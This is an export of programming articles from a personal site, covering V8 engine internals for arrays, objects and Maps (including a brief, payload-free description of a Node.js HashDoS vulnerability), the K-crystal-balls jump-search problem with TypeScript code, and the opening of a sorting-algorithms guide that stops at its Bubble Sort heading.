V8 maintains multiple internal representations for both structures. Arrays transition through 21 "elements kinds"—from PACKED_SMI (fastest) to DICTIONARY (slowest)—and these transitions are permanent. Objects use "hidden classes" that enable monomorphic inline caches; adding properties dynamically forces costly shape transitions. Maps use Tyler Close's deterministic hash table algorithm, maintaining insertion order through dual data structures (hash table for lookup, data table for iteration).

The critical insight: writing `arr[1000] = x` on an empty array, deleting object properties, or creating polymorphic call sites permanently degrades performance. Understanding these transitions matters more than memorizing Big O notation.

## V8 Array Internals: Elements Kinds

V8 categorizes arrays into 21 distinct "elements kinds" based on their contents. The engine optimizes operations differently for each kind, and transitions between kinds are irreversible.

### The Elements Kind Hierarchy

The most common kinds, ordered from fastest to slowest:

| Elements Kind          | Contents                            | Access Pattern              |
| ---------------------- | ----------------------------------- | --------------------------- |
| PACKED_SMI_ELEMENTS    | Small integers only (-2³¹ to 2³¹-1) | Direct memory offset        |
| PACKED_DOUBLE_ELEMENTS | Floating-point numbers              | Unboxed 64-bit doubles      |
| PACKED_ELEMENTS        | Any values (mixed)                  | Boxed elements, type checks |
| HOLEY_SMI_ELEMENTS     | Small ints with gaps                | Hole check on every access  |
| HOLEY_DOUBLE_ELEMENTS  | Doubles with gaps                   | Hole check + unboxing       |
| HOLEY_ELEMENTS         | Mixed with gaps                     | Hole check + type check     |
| DICTIONARY_ELEMENTS    | Sparse indices                      | Hash table lookup           |

```js title="Elements kind transitions" collapse={1-2}
// Illustrating irreversible transitions

const arr = [1, 2, 3] // PACKED_SMI_ELEMENTS (optimal)
arr.push(4.5) // → PACKED_DOUBLE_ELEMENTS (still good)
arr.push("string") // → PACKED_ELEMENTS (boxed, slower)
arr[100] = "x" // → HOLEY_ELEMENTS (permanent hole)
// Cannot revert to PACKED_* even if you fill indices 4-99
```

### Why Holes Are Expensive

When an array contains holes (missing indices), V8 must check every access to determine if the index contains a value or is empty. This check propagates through the prototype chain—a hole at `arr[5]` requires checking `Array.prototype[5]` and `Object.prototype[5]`.

```js title="Hole check overhead" collapse={1-2}
// Demonstrating the prototype chain lookup cost

const arr = [1, , 3] // HOLEY_SMI_ELEMENTS

// Accessing arr[1] requires:
// 1. Check arr.hasOwnProperty(1) → false (hole)
// 2. Check Array.prototype.hasOwnProperty(1) → false
// 3. Check Object.prototype.hasOwnProperty(1) → false
// 4. Return undefined

// Contrast with packed array:
const packed = [1, 2, 3]
// Accessing packed[1]:
// 1. Direct memory read at (base + 1 * element_size)
// 2. Return value
```

### Dictionary Mode: When Arrays Become Hash Maps

Sparse arrays—those with large gaps between indices—switch to dictionary mode. V8's heuristic triggers this when storing to an index would create too many holes relative to array capacity.

```js title="Triggering dictionary mode" collapse={1-2}
// Sparse assignment forces hash table storage

const arr = []
arr[0] = "first"
arr[1000000] = "sparse" // DICTIONARY_ELEMENTS

// Now arr[0] access requires:
// 1. Hash the key "0"
// 2. Probe the hash table
// 3. Return value if found

// Memory comparison (approximate):
// Dense arr[0..999999]: ~8MB (1M × 8 bytes)
// Sparse with 2 elements: ~140 bytes (hash table overhead)
```

Dictionary mode makes sense for genuinely sparse data. The trade-off: random access degrades from O(1) direct indexing to O(1) average hash lookup with potential O(n) worst-case on collision chains.

## V8 Object Internals: Hidden Classes and Shapes

Objects in V8 use "hidden classes" (also called "shapes" or "maps" internally—not to be confused with the Map data structure). Hidden classes describe an object's memory layout: which properties exist and at what offset.

### Shape Transitions and Inline Caching

When V8 first sees a property access like `obj.x`, it doesn't know where `x` is stored. After the first access, it caches the property's offset for that shape. Subsequent accesses to objects with the same shape use this "inline cache" for direct memory access.

```js title="Hidden class optimization" collapse={1-2}
// Demonstrating shape-based optimization

// All objects with same property order share a hidden class
function createPoint(x, y) {
  const p = {}
  p.x = x // Transition: {} → {x}
  p.y = y // Transition: {x} → {x, y}
  return p
}

const p1 = createPoint(1, 2)
const p2 = createPoint(3, 4)
// p1 and p2 share the same hidden class

function getX(point) {
  return point.x // After first call: inline cached
}

getX(p1) // Misses cache, caches offset for shape {x,y}
getX(p2) // Hits cache! Direct memory read at cached offset
```

### Polymorphism Kills Performance

When a function receives objects with different shapes, V8's inline cache becomes "polymorphic" (2-4 shapes) or "megamorphic" (many shapes). Megamorphic sites abandon caching entirely.

```js title="Polymorphism degradation" collapse={1-2}
// Demonstrating inline cache pollution

function getX(obj) {
  return obj.x
}

// Creating objects with different shapes
const a = { x: 1 } // Shape: {x}
const b = { y: 2, x: 3 } // Shape: {y, x} — different!
const c = { x: 4, y: 5 } // Shape: {x, y} — also different!
const d = { z: 6, x: 7 } // Shape: {z, x}
const e = { x: 8, z: 9 } // Shape: {x, z}

// Calling with many shapes forces megamorphic
;[a, b, c, d, e].forEach(getX)
// getX is now megamorphic — falls back to dictionary lookup
```

### Delete Destroys Optimization

The `delete` operator is particularly expensive. It forces the object into "slow mode" (dictionary properties) and cannot be undone.

```js title="Delete operator consequences" collapse={1-2}
// Why delete is slow

const obj = { a: 1, b: 2, c: 3 }
// obj uses fast properties (hidden class)

delete obj.b
// obj transitions to dictionary mode
// All subsequent property accesses use hash lookups

// Preferred alternative:
const obj2 = { a: 1, b: 2, c: 3 }
obj2.b = undefined // Maintains shape, just clears value
// obj2 keeps fast properties
```

## Hash Map Internals: V8's Deterministic Hash Tables

JavaScript's `Map` must iterate in insertion order (per ECMA-262). Standard hash tables don't preserve insertion order, so V8 uses Tyler Close's deterministic hash table algorithm.

### Dual Data Structure Design

V8's Map implementation maintains two separate structures:

1. **Hash table**: Array of bucket indices for O(1) key lookup
2. **Data table**: Entries stored in insertion order

![Diagram](./diagram-1.svg)

Lookup: hash the key → find bucket → follow index to data table entry.
Iteration: simply walk the data table sequentially (O(n) total, O(1) per element).

### Hash Code Computation

V8 computes hash codes differently by type:

| Key Type              | Hash Strategy             | Storage                 |
| --------------------- | ------------------------- | ----------------------- |
| Small integers (Smis) | Identity function         | Computed on access      |
| Heap numbers          | Bit manipulation of value | Computed on access      |
| Strings               | Content-based hash        | Cached in string header |
| Symbols               | Content-based hash        | Cached in symbol header |
| Objects               | Random seed-based         | Cached in object header |

For objects, V8 generates a random hash code on first use and caches it. This prevents algorithmic complexity attacks while ensuring consistent hashing.

### Memory Optimization: Hash Code Hiding

For small Maps (≤1022 entries), V8 stores the hash code in unused bits of the backing store's length field. Since capacity maxes at 1022, only 10 bits are needed for length, leaving 21 bits for the hash code.

This optimization improved SixSpeed Map/Set benchmarks by ~500%.

For larger Maps or dictionary-mode objects, V8 allocates an extra word per object to store the hash code.

## Collision Resolution and HashDoS

V8 uses separate chaining for collision resolution: entries with the same bucket form linked chains.

### When O(1) Becomes O(n)

With pathological inputs, attackers can force all keys into the same bucket, degrading every operation to O(n).

**CVE-2025-27209** (Node.js v24): V8's rapidhash string hashing was vulnerable to collision attacks. Attackers could generate hash-colliding strings without knowing the hash seed, causing severe slowdowns.

**Affected versions**: Node.js v20.x, v22.x, v24.x
**Fixed in**: v20.19.4, v22.17.1, v24.4.1

```js title="HashDoS impact" collapse={1-2}
// Illustrative example (do not use for attacks)

// If attacker controls keys and can generate collisions:
const map = new Map()

// Worst case: all keys hash to same bucket
// Each insertion: O(n) to traverse chain
// Total for n insertions: O(n²)

// Mitigation: rate limiting, input validation, updated runtime
```

### Load Factor and Resizing

V8 maintains a load factor (entries / buckets) around 0.5-0.75. When exceeded, the table rehashes:

1. Allocate new table with ~2× capacity
2. Recompute bucket indices for all entries
3. Copy entries to new locations

This O(n) operation amortizes to O(1) per insertion over time, but causes latency spikes during resizing.

## Map vs Object vs Array: When to Use Each

| Criterion               | Array                  | Object                   | Map                          |
| ----------------------- | ---------------------- | ------------------------ | ---------------------------- |
| Sequential dense data   | ✅ Optimal             | ❌ Wrong tool            | ❌ Wrong tool                |
| Keyed lookups (strings) | ❌                     | ✅ Good                  | ✅ Best for frequent updates |
| Non-string keys         | ❌                     | ❌ Coerces to string     | ✅ Any key type              |
| Insertion order         | ❌ Not guaranteed      | ⚠️ Complex rules         | ✅ Guaranteed                |
| Frequent add/delete     | ⚠️ End operations only | ❌ Delete is slow        | ✅ Designed for this         |
| Iteration performance   | ✅ Cache-friendly      | ⚠️ Property enumeration  | ✅ Sequential data table     |
| Memory efficiency       | ✅ Best when dense     | ⚠️ Hidden class overhead | ⚠️ Hash table overhead       |

### Benchmark Reality

Real-world V8 benchmarks (approximate, varies by workload):

| Operation     | Object | Map           | Winner                    |
| ------------- | ------ | ------------- | ------------------------- |
| Insertion     | 1×     | 4-5× faster   | Map                       |
| Key lookup    | 1×     | 2-3× faster   | Map                       |
| Has-key check | 1×     | ~1×           | Tie                       |
| Deletion      | 1×     | 10-50× faster | Map                       |
| Iteration     | ~1×    | ~1×           | Tie (Map slightly better) |

Objects win only when the shape is stable and properties are accessed via monomorphic call sites. For dynamic keyed collections, Map dominates.

## Cache Locality: Why Memory Layout Matters

Modern CPUs fetch memory in cache lines (typically 64 bytes). Accessing one element loads adjacent elements for free.

### Array Contiguous Advantage

```js title="Cache-friendly vs cache-hostile" collapse={1-2}
// Demonstrating cache effects

// Cache-friendly: sequential access
const arr = new Array(1000000).fill(0)
for (let i = 0; i < arr.length; i++) {
  arr[i] += 1 // Adjacent memory, cache hits
}

// Cache-hostile: random access
const indices = [...Array(1000000).keys()].sort(() => Math.random() - 0.5)
for (let i = 0; i < indices.length; i++) {
  arr[indices[i]] += 1 // Random jumps, cache misses
}

// Sequential access is 3-10× faster than random access
// on the same data, due purely to cache effects
```

### Typed Arrays: Maximum Cache Efficiency

For numeric data, TypedArrays guarantee contiguous memory with fixed element sizes:

```js title="TypedArray memory layout" collapse={1-2}
// TypedArrays for performance-critical numeric work

const floats = new Float64Array(1000000)
// Guaranteed: 1000000 × 8 bytes = 8MB contiguous

// Regular array equivalent:
const regular = new Array(1000000).fill(0.0)
// V8 may optimize to contiguous doubles, or may not
// Adding a string element forces reallocation

// TypedArrays: fixed size, fixed type, maximum cache efficiency
// Regular arrays: flexible, but optimization is fragile
```

## Practical Recommendations

### For Arrays

1. **Pre-allocate when size is known**: `new Array(n).fill(defaultValue)` creates a packed array
2. **Avoid holes**: Never skip indices or use `delete arr[i]`
3. **Keep types homogeneous**: Mixing integers and floats transitions to PACKED_DOUBLE; adding strings transitions to PACKED_ELEMENTS
4. **Use TypedArrays for numeric data**: Guarantees contiguous memory and type stability

### For Objects

1. **Initialize all properties in constructors**: Establishes stable shape early
2. **Add properties in consistent order**: Objects with properties added in same order share hidden classes
3. **Never use `delete`**: Set to `undefined` or `null` instead
4. **Avoid dynamic property names in hot paths**: Use Map instead

### For Maps

1. **Default choice for dynamic keyed collections**: Designed for frequent add/remove
2. **Use when keys aren't strings**: Objects coerce keys; Maps preserve type
3. **Use when insertion order matters**: Guaranteed iteration order
4. **Consider memory overhead for small collections**: Object may be more efficient for <10 fixed keys

## Conclusion

Big O notation describes algorithmic bounds, not real-world performance. V8's internal representations—elements kinds for arrays, hidden classes for objects, deterministic hash tables for Maps—determine actual execution speed.

The actionable insights: keep arrays dense and homogeneous, maintain stable object shapes, use Map for dynamic collections. Understand that transitions to slower modes are permanent—a single sparse assignment or property deletion can degrade performance for the lifetime of that data structure.

## Appendix

### Prerequisites

- Big O notation and amortized analysis
- Basic understanding of hash tables and collision resolution
- JavaScript object and array fundamentals

### Terminology

- **Elements kind**: V8's internal classification of array contents determining storage and access strategy
- **Hidden class / Shape**: V8's internal description of an object's property layout enabling inline caching
- **Inline cache (IC)**: Cached property offset enabling direct memory access without property lookup
- **Monomorphic**: Call site that always sees one shape; optimal for inline caching
- **Polymorphic**: Call site seeing 2-4 shapes; uses polymorphic inline cache
- **Megamorphic**: Call site seeing many shapes; abandons inline caching
- **Dictionary mode**: Fallback to hash table storage when fast properties aren't possible
- **Load factor**: Ratio of entries to buckets in a hash table; affects collision probability
- **HashDoS**: Denial-of-service attack exploiting hash collisions to degrade O(1) to O(n)

### Summary

- V8 arrays have 21 elements kinds; transitions from packed to holey/dictionary are permanent
- V8 objects use hidden classes; maintaining consistent shapes enables inline caching
- `delete` forces dictionary mode on objects—set to `undefined` instead
- Maps use deterministic hash tables: hash table for lookup, data table for insertion-order iteration
- Cache locality often matters more than algorithmic complexity—contiguous beats sparse
- HashDoS attacks can degrade hash table operations from O(1) to O(n)

### References

- [ECMA-262 16th Edition](https://ecma-international.org/wp-content/uploads/ECMA-262_16th_edition_june_2025.pdf) — ECMAScript 2025 Language Specification
- [Elements kinds in V8](https://v8.dev/blog/elements-kinds) — V8 Blog on array internal representations
- [Fast properties in V8](https://v8.dev/blog/fast-properties) — V8 Blog on hidden classes and property access
- [Optimizing hash tables: hiding the hash code](https://v8.dev/blog/hash-code) — V8 Blog on Map/Set memory optimization
- [V8 Deep Dives: Understanding Map Internals](https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df) — Detailed analysis of V8's Map implementation
- [CVE-2025-27209: Node.js HashDoS](https://zeropath.com/blog/cve-2025-27209-nodejs-v8-hashdos) — HashDoS vulnerability in V8 string hashing
- [A tour of V8: object representation](https://jayconrod.com/posts/52/a-tour-of-v8-object-representation) — Deep dive into V8 object internals

---

## K-Crystal Balls Problem: Jump Search Pattern

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/algorithms-foundations/k-crystal-balls-problem
**Category:** Programming & Patterns / Algorithms Foundations
**Description:** The K-crystal balls (or K-egg drop) problem demonstrates how constrained resources fundamentally change optimal search strategy. With unlimited test resources, binary search achieves O(log n). With exactly k resources that are consumed on failure, the optimal worst-case complexity becomes O(n^(1/k))—a jump search pattern where each resource enables one level of hierarchical partitioning.

# K-Crystal Balls Problem: Jump Search Pattern

The K-crystal balls (or K-egg drop) problem demonstrates how constrained resources fundamentally change optimal search strategy. With unlimited test resources, binary search achieves O(log n). With exactly k resources that are consumed on failure, the optimal worst-case complexity becomes O(n^(1/k))—a jump search pattern where each resource enables one level of hierarchical partitioning.

<figure>

![Resource count determines search depth: each additional resource enables one more level of hierarchical partitioning, reducing worst-case from O(n) toward O(log n).](./resource-count-determines-search-depth-each-additional-resource-enables-one-more.svg)

<figcaption>Resource count determines search depth: each additional resource enables one more level of hierarchical partitioning, reducing worst-case from O(n) toward O(log n).</figcaption>

</figure>

## Abstract

The K-crystal balls problem models **threshold detection with consumable test resources**—a pattern appearing in software version bisection, network MTU discovery, and reliability testing.

**Core insight**: When resources are limited, balance work across all phases by making each phase contribute equally to worst-case cost. For k resources and n positions:

- **Jump size at phase i**: $n^{(k-i)/k}$
- **Worst-case operations**: $k \cdot n^{1/k}$
- **Complexity**: $O(n^{1/k})$ for fixed k

The formula emerges from setting all phase costs equal and solving the resulting geometric sequence. This isn't arbitrary—it's the unique configuration where no phase can be improved without making another worse.

| Resources (k) | Jump Pattern                    | Worst Case | Complexity |
| ------------- | ------------------------------- | ---------- | ---------- |
| 1             | Linear only                     | n          | O(n)       |
| 2             | √n → linear                     | 2√n        | O(√n)      |
| 3             | n^(2/3) → n^(1/3) → linear      | 3·∛n       | O(∛n)      |
| k             | n^((k-1)/k) → ... → n^(1/k) → 1 | k·n^(1/k)  | O(n^(1/k)) |
| log n         | 2 → 2 → ...                     | 2·log n    | O(log n)   |

## Problem Definition

Given k identical crystal balls and a structure with n floors, find the exact threshold floor where balls start breaking using minimum drops in the **worst case**.

**Formal model**:

- Floors form a sorted boolean array: `[false, false, ..., false, true, true, ..., true]`
- All floors below threshold are safe (false); threshold and above break (true)
- A broken ball is permanently consumed
- **Objective**: Minimize maximum drops across all possible threshold positions

**Why worst-case matters**: In production systems, you often can't afford to rely on average-case luck. The worst-case bound guarantees performance regardless of where the threshold lies.

## Why Binary Search Fails

Binary search seems natural—it's optimal for searching sorted data. With k=2 balls and n=100 floors:

1. Drop from floor 50
2. If it breaks, you have 1 ball left and must linear search floors 1-49
3. Worst case: 1 + 49 = 50 drops

The problem: **binary search assumes tests are non-destructive**. When a test consumes the resource on failure, the search space constraints change asymmetrically. After a break, you lose both the ball and the ability to take risks.

This asymmetry is why the optimal strategy for k=2 isn't "binary then linear" (worst case ~n/2) but "jump √n then linear" (worst case 2√n). The sqrt improvement comes from properly accounting for resource consumption.

## Building the Solution: k=1, k=2, k=3

### Case k=1: No Risk Tolerance

With one ball, any break ends the search without finding the threshold. The only safe strategy is linear search.

**Strategy**: Test floors 1, 2, 3, ..., n sequentially

**Worst case**: n drops (threshold is at floor n)

**Complexity**: O(n)

This establishes the baseline—with zero tolerance for resource loss, you cannot exploit structure.

### Case k=2: One Exploratory Break Allowed

With two balls, you can afford one "exploratory" break before falling back to linear search.

**Strategy**:

1. Jump by interval j with the first ball
2. When it breaks at some floor, linear search the previous j floors with the second ball

**Analysis**:

- Number of jumps before break: at most ⌈n/j⌉
- Linear search after break: at most j-1 steps
- Total worst case: n/j + j (approximately)

**Optimization**: Minimize f(j) = n/j + j

Taking the derivative:
$$f'(j) = -\frac{n}{j^2} + 1 = 0$$

Solving:
$$j^2 = n \implies j = \sqrt{n}$$

Second derivative confirms minimum: $f''(j) = \frac{2n}{j^3} > 0$

**Worst case**: $\frac{n}{\sqrt{n}} + \sqrt{n} = 2\sqrt{n}$

**Complexity**: O(√n)

### Case k=3: Two Exploratory Breaks

With three balls, you can partition twice before linear search.

**Strategy**:

1. Jump by j₁ with the first ball
2. Within the broken segment, jump by j₂ with the second ball
3. Linear search the final segment with the third ball

**Analysis**:

- Phase 1: n/j₁ jumps
- Phase 2: j₁/j₂ jumps
- Phase 3: j₂ linear steps
- Total: n/j₁ + j₁/j₂ + j₂

**Optimization**: To minimize the maximum of these terms (worst case), make them equal.

Set $\frac{n}{j_1} = \frac{j_1}{j_2} = j_2 = x$

Working backwards:

- $j_2 = x$
- $j_1 = x \cdot j_2 = x^2$
- $n = x \cdot j_1 = x \cdot x^2 = x^3$

Therefore: $x = n^{1/3}$

**Jump sizes**:

- $j_1 = x^2 = n^{2/3}$
- $j_2 = x = n^{1/3}$

**Worst case**: $3 \cdot n^{1/3}$

**Complexity**: O(n^(1/3))

## General Pattern: k Resources

### The Hierarchical Jump Strategy

With k resources, create k phases of decreasing granularity:

1. **Phase 1**: Jump by $j_1$ until first resource consumed
2. **Phase 2**: Within that segment, jump by $j_2$ until second consumed
3. ...
4. **Phase k**: Linear search (jump by 1)

### Total Operations Formula

$$\text{Total} = \frac{n}{j_1} + \frac{j_1}{j_2} + \frac{j_2}{j_3} + \cdots + j_{k-1}$$

Where $j_k = 1$ (linear search in final phase).

### Why Equal Terms Minimize Worst Case

Consider any configuration where terms are unequal. The largest term determines the worst case. By reducing the largest term (larger jumps) and increasing smaller terms (smaller jumps), we can improve overall worst case until all terms equalize.

Formally: for a fixed product of terms (constrained by n), the sum is minimized when all terms are equal (AM-GM inequality application).

### Solving the Recurrence

Set each term equal to x:
$$\frac{n}{j_1} = \frac{j_1}{j_2} = \frac{j_2}{j_3} = \cdots = j_{k-1} = x$$

Working backwards from $j_{k-1} = x$:

$$j_{k-1} = x$$
$$j_{k-2} = x \cdot j_{k-1} = x^2$$
$$j_{k-3} = x \cdot j_{k-2} = x^3$$
$$\vdots$$
$$j_1 = x^{k-1}$$

From the first equation:
$$\frac{n}{j_1} = x \implies n = x \cdot j_1 = x \cdot x^{k-1} = x^k$$

**Solution**: $x = n^{1/k}$

### Jump Size Formula

For phase i (1 ≤ i ≤ k-1):
$$j_i = n^{(k-i)/k}$$

This creates a geometric sequence of jump sizes, each smaller than the previous by factor $n^{1/k}$.

### Complexity Result

**Worst-case operations**: $k \cdot n^{1/k}$

**Time complexity**: O(k · n^(1/k))

For fixed k, this simplifies to **O(n^(1/k))**.

## Design Reasoning: Why This Structure?

### The Balancing Principle

The solution emerges from a single insight: **balance work across phases**. Any imbalance means one phase dominates worst-case cost, and that phase could be improved by stealing resources from cheaper phases.

This is the **minimax principle** in action—minimizing the maximum cost across all phases.

### Why Not Variable Jump Sizes?

An alternative approach uses decreasing jumps (x, x-1, x-2, ...) to account for "wasted" successful drops. This yields slightly better constants:

For k=2 and n=100:

- Fixed √n jumps: worst case ≈ 20 drops
- Decreasing jumps (14, 13, 12, ...): worst case = 14 drops

The decreasing approach satisfies $\frac{x(x+1)}{2} \geq n$, giving $x = \lceil\frac{-1 + \sqrt{1+8n}}{2}\rceil$.

However, the fixed jump approach is simpler, has the same asymptotic complexity, and generalizes cleanly to k > 2.

### Diminishing Returns of Additional Resources

Each additional resource reduces the exponent by 1/k(k+1):

| Resources | n = 1,000,000 | Improvement Factor |
| --------- | ------------- | ------------------ |
| 1         | 1,000,000     | —                  |
| 2         | 2,000         | 500×               |
| 3         | 300           | 6.7×               |
| 4         | 126           | 2.4×               |
| 5         | 79            | 1.6×               |

The first few resources provide massive gains; subsequent ones help less. This matches intuition—once you can partition sufficiently, additional partitioning levels add diminishing value.

### Connection to Binary Search

When k = log₂(n), the jump size becomes approximately 2, and you get near-binary-search behavior.

With unlimited resources (k → ∞), pure binary search is optimal: O(log n).

The K-crystal balls problem thus interpolates between:

- **k=1**: Linear search, no structure exploitation
- **k=∞**: Binary search, maximum structure exploitation

## Implementation

```ts title="k-crystal-balls.ts" collapse={1-5, 39-50}
/**
 * K-Crystal Balls: Jump search with limited test resources
 * Time: O(k * n^(1/k)) where k = number of balls
 * Space: O(1)
 */

function findBreakingFloor(floors: boolean[], k: number): number {
  const n = floors.length
  if (n === 0) return -1
  if (k === 0) return -1 // No resources to test

  // k=1: Must use linear search
  if (k === 1) {
    for (let i = 0; i < n; i++) {
      if (floors[i]) return i
    }
    return -1
  }

  // General case: Jump by n^(1/k), recurse with k-1 resources
  const jumpSize = Math.max(1, Math.floor(Math.pow(n, (k - 1) / k)))

  let lastSafe = 0
  let position = jumpSize

  // Phase 1: Jump search with first resource
  while (position < n && !floors[position]) {
    lastSafe = position
    position += jumpSize
  }

  // Found segment [lastSafe, min(position, n-1)] containing threshold
  // Recursively search with k-1 resources
  const segmentStart = lastSafe
  const segmentEnd = Math.min(position, n - 1)
  const segment = floors.slice(segmentStart, segmentEnd + 1)

  const relativeIndex = findBreakingFloor(segment, k - 1)
  return relativeIndex === -1 ? -1 : segmentStart + relativeIndex
}

// Iterative version for k=2 (most common case)
function twoEggDrop(floors: boolean[]): number {
  const n = floors.length
  const jump = Math.floor(Math.sqrt(n))

  let lastSafe = 0
  let pos = 0

  // Jump phase
  while (pos < n && !floors[pos]) {
    lastSafe = pos
    pos += jump
  }

  // Linear phase
  for (let i = lastSafe; i < Math.min(pos + 1, n); i++) {
    if (floors[i]) return i
  }
  return -1
}
```

## Edge Cases and Failure Modes

### Edge Cases

| Condition            | Behavior                                       |
| -------------------- | ---------------------------------------------- |
| k = 0                | Cannot determine threshold (no test resources) |
| k > log₂(n)          | Binary search suffices; extra resources unused |
| n = 0                | No floors to test; return -1                   |
| n = 1                | Single test determines threshold               |
| All false            | No breaking floor exists; return -1            |
| All true             | Threshold at floor 0                           |
| Threshold at floor 1 | First jump overshoots; linear search finds it  |

### Numerical Precision

For very large n, $n^{1/k}$ may have floating-point errors. Use integer-safe computation:

```ts
// Avoid: Math.pow(n, 1/k) has precision issues for large n
// Prefer: Newton's method or integer nth-root algorithms
```

### Off-by-One Boundaries

The jump search must handle:

- Jumping past the array bounds (clamp to n-1)
- Segment boundaries (inclusive vs exclusive)
- The case where threshold is exactly at a jump position

## Real-World Applications

### Software Version Bisection

**Problem**: A bug exists in version V but not version V-100. Find the introducing commit with minimal builds.

This is k-crystal-balls with k = number of parallel build machines. With 2 machines, jump by √100 ≈ 10 versions, then linear search the breaking segment.

### Network MTU Discovery

**Problem**: Find the maximum transmission unit (MTU) for a network path without excessive packet loss.

Packets that exceed MTU are dropped (the "ball breaks"). With limited retransmission budget, jump search finds optimal MTU faster than linear probing.

### Reliability Testing

**Problem**: Find the load threshold where a system fails, using limited destructive test runs.

Each test that causes failure consumes resources (hardware, time, budget). The K-crystal balls strategy minimizes tests needed to bracket the threshold.

### Database Index Tuning

**Problem**: Find the selectivity threshold where an index becomes beneficial, with limited benchmark runs.

Each benchmark consumes time. Jump search with k benchmark "resources" finds the crossover point efficiently.

## Appendix

### Prerequisites

- Basic calculus (derivatives for optimization)
- Understanding of time complexity notation
- Familiarity with binary search and its assumptions

### Terminology

- **Threshold floor**: The lowest floor where balls break (the target to find)
- **Worst case**: Maximum operations across all possible threshold positions
- **Jump search**: Search strategy using fixed-size jumps followed by linear scan
- **Consumable resource**: A test resource that is destroyed on certain outcomes

### Summary

- K-crystal balls models threshold detection with limited destructive tests
- Optimal jump size at phase i is $n^{(k-i)/k}$, derived from equalizing phase costs
- Worst-case complexity is O(n^(1/k)) for fixed k
- k=1 gives O(n); k=∞ gives O(log n); intermediate k interpolates between these
- Applications include version bisection, MTU discovery, and reliability testing
- The solution demonstrates the minimax principle: balance work to minimize maximum cost

### References

- [Egg Dropping - Brilliant Math & Science Wiki](https://brilliant.org/wiki/egg-dropping/) - Comprehensive mathematical derivation with recurrence relations and binomial coefficient approach
- [Egg Drop Problems: They Are All They Are Cracked Up To Be](https://arxiv.org/html/2511.18330) - Academic treatment with multidimensional generalizations and induction proofs (2025)
- [The Egg Problem - Spencer Mortensen](https://spencermortensen.com/articles/egg-problem/) - Clear derivation of recurrence relation $D(k,t) = 1 + D(k-1,t-1) + D(k,t-1)$
- [887. Super Egg Drop - LeetCode](https://leetcode.com/problems/super-egg-drop/) - The classic DP formulation with O(k·n·log n) solution
- [1884. Egg Drop With 2 Eggs and N Floors - LeetCode](https://leetcode.com/problems/egg-drop-with-2-eggs-and-n-floors/) - Simplified k=2 variant
- [Two Crystal Balls Problem - Frontend Masters](https://frontendmasters.com/courses/algorithms/two-crystal-balls-problem/) - ThePrimeagen's algorithmic treatment
- [MIT OCW: Please Do Break the Crystal](https://ocw.mit.edu/courses/6-s095-programming-for-the-puzzled-january-iap-2018/pages/puzzle-4-please-do-break-the-crystal/) - Programming for the Puzzled course material
- [Egg Drop Problem Applications - AlgoCademy](https://algocademy.com/blog/egg-drop-problem-a-comprehensive-guide-to-this-classic-algorithmic-challenge/) - Real-world applications including version bisection and MTU discovery

---

## Sorting Algorithms: Complexity, Stability, and Use Cases

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/algorithms-foundations/sorting-algorithms-guide
**Category:** Programming & Patterns / Algorithms Foundations
**Description:** A comprehensive guide to sorting algorithms covering fundamental concepts, implementation details, performance characteristics, and real-world applications. Learn when to use each algorithm and understand the engineering trade-offs behind production sorting implementations.

# Sorting Algorithms: Complexity, Stability, and Use Cases

A comprehensive guide to sorting algorithms covering fundamental concepts, implementation details, performance characteristics, and real-world applications. Learn when to use each algorithm and understand the engineering trade-offs behind production sorting implementations.

<figure>

![Sorting algorithm taxonomy showing complexity classes and key characteristics](./sorting-algorithm-taxonomy-showing-complexity-classes-and-key-characteristics.svg)

<figcaption>Sorting algorithm taxonomy showing complexity classes and key characteristics</figcaption>

</figure>

## Abstract

Sorting algorithms exist on a spectrum defined by three fundamental constraints:

<figure>

![Every sorting algorithm makes trade-offs between time, space, and stability—optimizing one often sacrifices another.](./every-sorting-algorithm-makes-trade-offs-between-time-space-and-stability-optimi.svg)

<figcaption>Every sorting algorithm makes trade-offs between time, space, and stability—optimizing one often sacrifices another.</figcaption>
</figure>

**Core mental model:**

- **Comparison sorts** (Quick Sort, Merge Sort, Heap Sort) are bounded by Ω(n log n)—a mathematical limit proven via decision trees. You cannot comparison-sort faster without exploiting input structure.
- **Non-comparison sorts** (Counting, Radix, Bucket) achieve O(n) by trading generality for constraints on input type (integers, fixed-width keys, uniform distribution).
- **Production sorts** (Tim Sort, Introsort, pdqsort) are hybrids that detect patterns and switch strategies—they exploit the gap between theoretical bounds and real-world data characteristics.

**The practical insight**: Cache locality and branch prediction often matter more than asymptotic complexity. Quick Sort's 2-3× speedup over Heap Sort comes from sequential memory access, not Big-O.

## Core Concepts

### The Fundamental Trade-offs

1. **Time vs Space**: Merge Sort uses O(n) extra space for O(n log n) guaranteed time. Quick Sort uses O(log n) stack space but has O(n²) worst case. This trade-off exists because maintaining sorted subarrays during merge requires temporary storage.

2. **Stability vs Performance**: Stable sorts preserve relative order of equal elements—critical for multi-key sorting (sort by department, then by salary within department). Quick Sort sacrifices stability for in-place partitioning; Merge Sort maintains stability but needs auxiliary arrays.

3. **Adaptivity**: Some algorithms (Insertion Sort, Tim Sort) detect existing order and exploit it. Tim Sort achieves O(n) on already-sorted data by identifying "runs" of ordered elements. Non-adaptive algorithms (Heap Sort, standard Quick Sort) perform the same regardless of input order.

4. **In-place vs Out-of-place**: In-place algorithms modify the original array using O(1) or O(log n) extra space; out-of-place algorithms need O(n) auxiliary memory. The choice affects memory pressure in constrained environments.

### The Ω(n log n) Comparison Sort Lower Bound

Comparison-based sorting cannot do better than Ω(n log n) in the worst case. This is a mathematical limit, not a practical limitation.

**The decision tree argument**: Any comparison-based algorithm can be modeled as a binary decision tree where each node represents a comparison. With n elements, there are n! possible permutations. The tree must have at least n! leaves (one per permutation). A binary tree of height h has at most 2^h leaves, so:

$$
2^h \geq n! \implies h \geq \log_2(n!) \approx n \log n
$$

Using Stirling's approximation: $n! \approx \sqrt{2\pi n}(n/e)^n$, giving $\log(n!) = \Theta(n \log n)$.

**Information-theoretic interpretation**: Each comparison yields one bit of information. To distinguish among n! possibilities, you need at least log₂(n!) bits—roughly n log n comparisons.

**Breaking the barrier**: Non-comparison sorts (Counting, Radix, Bucket) achieve O(n) by exploiting input structure—they don't compare elements, they examine digits or values directly. This requires constraints: bounded integer range, fixed-width keys, or uniform distribution.

## Comparison-Based Sorting

### Bubble Sort

